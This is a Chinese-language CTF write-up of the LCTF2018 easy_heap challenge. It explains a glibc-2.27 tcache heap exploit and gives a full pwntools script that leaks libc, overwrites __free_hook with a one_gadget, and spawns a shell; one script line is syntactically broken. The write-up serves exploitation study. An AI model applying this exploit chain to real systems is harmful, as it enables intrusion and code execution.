tcache makes heap exploitation easy again
0x01 The pwn of CTF
Challenge 1 : LCTF2018 PWN easy_heap
基本信息
远程环境中的 libc 是 libc-2.27.so ,所以堆块申请释放过程中需要考虑 Tcache 。
zj@zj-virtual-machine:~/c_study/lctf2018/easy$ checksec ./easy_heap
[*] '/home/zj/c_study/lctf2018/easy/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
基本功能
程序通过在 heap 上的一块内存( size 为 0xb0 )管理申请的堆块的头地址和我们想要写入堆块的字节数 ,总共可以申请 10 个固定大小为 0x100 的 chunk 来存放我们写入的信息 ,程序具备 show 的功能 ,可以打印堆块中的内容 ,另外程序具备删除堆块功能 ,选择删除 chunk 会先把 chunk 中的内存覆盖成 ‘\0’ ,然后再执行 free 函数 。
程序的读入输入函数存在一个 null-by-one 漏洞 ,具体见如下代码
unsigned __int64 __fastcall read_input(_BYTE *malloc_p, int sz)
{
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
i = 0;
if ( sz )
{
while ( 1 )
{
read(0, &malloc_p[i], 1uLL);
if ( sz - 1 < i || !malloc_p[i] || malloc_p[i] == '\n' )
break;
++i;
}
malloc_p[i] = 0;
malloc_p[sz] = 0; // null-bye-one
}
else
{
*malloc_p = 0;
}
return __readfsqword(0x28u) ^ v4;
}
利用思路
通常来讲在堆程序中出现 null-by-one 漏洞 ,都会考虑构造 overlapping heap chunk ,使得 overlapping chunk 可以多次使用 ,达到信息泄露最终劫持控制流的目的 。
本题没有办法直接更改 prev_size 这一字段为 0x200 0x300 类似的值 ,所以传统上直接在几个 chunks 中间夹一个 chunk 然后 free 掉更高地址的 chunk 触发向低地址合并的方法得到大的 unsortedbin chunk 的方法在此处并不适用 。
所以如果我们要实现 leak ,我们仍然需要把 main_arena 相关的地址写到一个可以 show 的 chunk 里面 。这里提供一种方法 ,先连续申请 10 个 chunk(szie 0x100) ,然后连续释放 7 个 chunk ,刚好可以填满一个 tcache bin ,
然后再连续释放剩下 3 个 chunk ,这 3 个 chunk 便可以进入 unsortedbin ,注意到进入 unsortedbin 的 3 个 chunk 中的第二个 chunk 的 fd ,bk 上的值 ,就会发现把第二个 chunk 作为后面我们要 unlink 掉的 target chunk 是合适的 。
单独看上面的思路有点抽象 ,接下来跟着具体的 exp 来理解这个过程 ,就会比较自然 。
操作过程
- exp 的函数定义部分
#!/usr/bin/env python
# coding: utf-8
from pwn import *
local = True
if local:
p = process('./easy_heap') env={'LD_PRELOAD': './libc64.so'})
# aggressive alias
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
se = lambda x: p.send(x)
sel = lambda x: p.sendline(x)
pick32 = lambda x: u32(x[:4].ljust(4, '\0'))
pick64 = lambda x: u64(x[:8].ljust(8, '\0'))
libc = ELF('./libc64.so')
def malloc(p, sz, pay):
ru('> ')
sel(str(1))
ru('> ')
sel(str(sz))
ru('> ')
se(pay)
def free(p, idx):
ru('> ')
sel(str(2))
ru('> ')
sel(str(idx))
def puts(p, idx):
ru('> ')
sel(str(3))
ru('> ')
sel(str(idx))
- 先申请 10 块 chunk ,再全部释放掉
#ps :第一次申请的 10 chunk 是连续相邻的 ,我们把第一次申请得到的 chunk 分别编号 id0 ~ id9 以便后面跟踪这些 chunk
#0~9
malloc(p, 248-1, '0'*7+'\n') #0 id0
malloc(p, 248-1, '1'*7+'\n') #1 id1
malloc(p, 248-1, '2'*7+'\n') #2 id2
malloc(p, 248-1, '3'*7+'\n') #3 id3
malloc(p, 248-1, '4'*7+'\n') #4 id4
malloc(p, 248-1, '5'*7+'\n') #5 id5
malloc(p, 248-1, '6'*7+'\n') #6 id6
malloc(p, 248-1, '7'*7+'\n') #7 id7
malloc(p, 248-1, '8'*7+'\n') #8 id8
malloc(p, 248-1, '9'*7+'\n') #9 id9
#fill tcache : need 7 chunk
#ps :kong1 表示 heap 上数组 arr 存第一个 chunk 信息的位置 空 闲出来了 ( 存 chunk 地址的位置值变成 NULL ,存 size 的位置值也为 0 )
#ps :所以数组 arr 中的一个位置实际上占用的是 0x10 个字节
free(p, 1) #kong 1
free(p, 3) #kong 3
free(p, 5) #kong 5
free(p, 6) #kong 6
free(p, 7) #kong 7
free(p, 8) #kong 8
free(p, 9) #kong 9
#place into the unso bk: 0 2 4
free(p, 0) #kong 0
free(p, 2) #kong 2 other point: place 0x100 in prev_size of id3 chunk
free(p, 4) #kong 4
- 经过上述操作后 ,内存布局如下
#ps :id0 之前是 tcache chunk( size 0x250 ) ,紧接着是管理后续分配的 chunks(id0~id9) 的 chunk( size 0xb0)
#ps :注意一下 id0 id2 id4 chunk
gdb-peda$ x/300xg 0x55e5d0fdf300
0x55e5d0fdf300:(!!!)0x0000000000000000 0x0000000000000101 ===> id0
0x55e5d0fdf310: ^ 0x00007fa5c2e18ca0 0x000055e5d0fdf500
0x55e5d0fdf320: | 0x0000000000000000 0x0000000000000000
............... |
0x55e5d0fdf3f0: | 0x0000000000000000 0x0000000000000000
0x55e5d0fdf400: | 0x0000000000000100 0x0000000000000100 ===> id1
0x55e5d0fdf410: | 0x0000000000000000 0x0000000000000000
............... |
0x55e5d0fdf4f0: | 0x0000000000000000 0x0000000000000000
0x55e5d0fdf500: + 0x0000000000000000 0x0000000000000101 ===> id2
0x55e5d0fdf510: (fd)0x000055e5d0fdf300 (bk)0x000055e5d0fdf700
............... +
0x55e5d0fdf600: 0x0000000000000100 | 0x0000000000000100 ===> id3 注意这个地方的 prev_size 已经填上了 0x100
0x55e5d0fdf610: 0x000055e5d0fdf410 | 0x0000000000000000
0x55e5d0fdf620: 0x0000000000000000 | 0x0000000000000000
............... |
0x55e5d0fdf700:(!!!)0x0000000000000000<---+ 0x0000000000000101 ===> id4
0x55e5d0fdf710: 0x000055e5d0fdf500 0x00007fa5c2e18ca0
0x55e5d0fdf720: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdf800: 0x0000000000000100 0x0000000000000100 ===> id5
0x55e5d0fdf810: 0x000055e5d0fdf610 0x0000000000000000
0x55e5d0fdf820: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdf900: 0x0000000000000000 0x0000000000000101 ===> id6
0x55e5d0fdf910: 0x000055e5d0fdf810 0x0000000000000000
0x55e5d0fdf920: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdfa00: 0x0000000000000000 0x0000000000000101 ===> id7
0x55e5d0fdfa10: 0x000055e5d0fdf910 0x0000000000000000
0x55e5d0fdfa20: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdfaf0: 0x0000000000000000 0x0000000000000000 ===> id8
0x55e5d0fdfb00: 0x0000000000000000 0x0000000000000101
0x55e5d0fdfb10: 0x000055e5d0fdfa10 0x0000000000000000
...............
0x55e5d0fdfc00: 0x0000000000000000 0x0000000000000101 ===> id9
0x55e5d0fdfc10: 0x000055e5d0fdfb10 0x0000000000000000
0x55e5d0fdfc20: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdfd00: 0x0000000000000000 0x0000000000020301 ===> top
0x55e5d0fdfd10: 0x0000000000000000 0x0000000000000000
# tcache next : id9->id8->id7->id6->id5->id3->id1
# unsortedbin bk :id0-->id2-->id4
- 再连续申请 7 chunk ,使得后续的 unsortedbin chunk 有机会进入到 tcahce
#get chunk from tcache
#ps :#0 id9 表示现在申请的 chunk 会被填到 arr 数组的第 0 个位置 ,但是申请得到的 chunk 是初始时候我们编号的 id9 chunk
malloc(p, 240, '\n') #0 id9
malloc(p, 240, '\n') #1 id8
malloc(p, 240, '\n') #2 id7
malloc(p, 240, '\n') #3 id6
malloc(p, 240, '\n') #4 id5
malloc(p, 240, '\n') #5 id3
malloc(p, 240, '\n') #6 id1
# 之后如果再申请 ,就会导致 unsortebin chunk 进入到 tcache
#get id4 (id 0 2 4 get to tcache,the tcache next :4->2->0, so get id4 first from tcache)
malloc(p, 240, '\n') #7 id4 :keep the fd_of_id4 = id2
#get id2 (fd_of_id2->bk->fd = id2 and bk_of_id2->fd->bk = id2) satisfy the condition that unlink id2
malloc(p, 248, '\n') #8 id2 0xf8=248 ===>id3 prev:0x100 size:0x100
#now id0 is in tcache, so just need free other 6 chunk to fill the tcache ; and the bk_of_id0 = id2
free(p, 6) #kong6 id1
free(p, 4) #kong4 id5
free(p, 3) #kong3 id6
free(p, 2) #kong2 id7
free(p, 1) #kong1 id8
free(p, 0) #kong0 id9
#if free id3 will place in unsortedbin , and free id3 will find that id2 is freed , so the unlink will happen , merge to id2
free(p, 5) #kong5 id3 unlink id2-->0x200
- 经过上述操作后 ,内存布局如下
gdb-peda$ x/300xg 0x55e5d0fdf300
0x55e5d0fdf300: 0x0000000000000000 0x0000000000000101 ===> id0
0x55e5d0fdf310: 0x0000000000000000 0x000055e5d0fdf700
0x55e5d0fdf320: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdf400: 0x0000000000000100 0x0000000000000101 ===> #6 id1
0x55e5d0fdf410: 0x000055e5d0fdf310 0x0000000000000000
0x55e5d0fdf420: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdf500: 0x0000000000000000 0x0000000000000201 ===> #8 id2 can leak , becasue the #8 we can show
0x55e5d0fdf510: 0x00007fa5c2e18ca0 0x00007fa5c2e18ca0
0x55e5d0fdf520: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdf600: 0x0000000000000100 0x0000000000000100 ===> #5 id3
0x55e5d0fdf610: 0x0000000000000000 0x0000000000000000
0x55e5d0fdf620: 0x0000000000000000 0x0000000000000000
...............
0x55e5d0fdf700: 0x0000000000000200 0x0000000000000100 ===> #7 id4
0x55e5d0fdf710: 0x000055e5d0fdf300 0x00007fa5c2e18ca0
0x55e5d0fdf720: 0x0000000000000000 0x0000000000000000
...............
- 信息泄露
#leak the unsortedbin addr
puts(p, 8) #show id2
unso_addr = pick64(r(6))
print "unso_addr @ " + hex(unso_addr)
libc_base = unso_addr - (0x00007f94a5acbca0-0x00007f94a56e0000)
print "libc_base @ " + hex(libc_base)
free_hook = libc_base + (0x7f94a5acd8e8-0x00007f94a56e0000)
one_shoot = libc_base + 0x4f322 #execve("/bin/sh", rsp+0x40, environ)
- 改写 tcache 的 next ,再分配 chunk ,得到 shell
#get chunk from tcache
malloc(p, 240, '\n') #0 id9
malloc(p, 240, '\n') #1 id8
malloc(p, 240, '\n') #2 id7
malloc(p, 240, '\n') #3 id6
malloc(p, 240, '\n') #4 id5
malloc(p, 240, '\n') #5 id1
malloc(p, 240, '\n') #6 id0
#cut from the unso, the left of id2_3chunk placed in unso
malloc(p, 240, '\n') #9 the id2 of id2_3 tips: #8:id2;so we can double free tcache chunk
#placed in tcache
free(p, 0) #kong0 id9 just for give a position to malloc
free(p, 8) #kong8 id2
free(p, 9) #kong9 id2
#get from tcache
malloc(p, 240, p64(free_hook) + '\n') #0 id2
malloc(p, 240, '\n') #8 id2
malloc(p, 240, p64(one_shoot) + '\n') #9 free_hook_chunk
#one_shoot triger
free(p, 1) #1 id8
p.interactive()
Challenge 1 小结
尽管作者尽力展示所有的细节 ,发现越要展示更多细节 ,越不容易讲清楚 ,所以最好画图和亲自调试一下 。简单来讲就是在某些限制下如何通过一系列的操作 tcahce chunk 和 unsortedbin 实现 unlink 。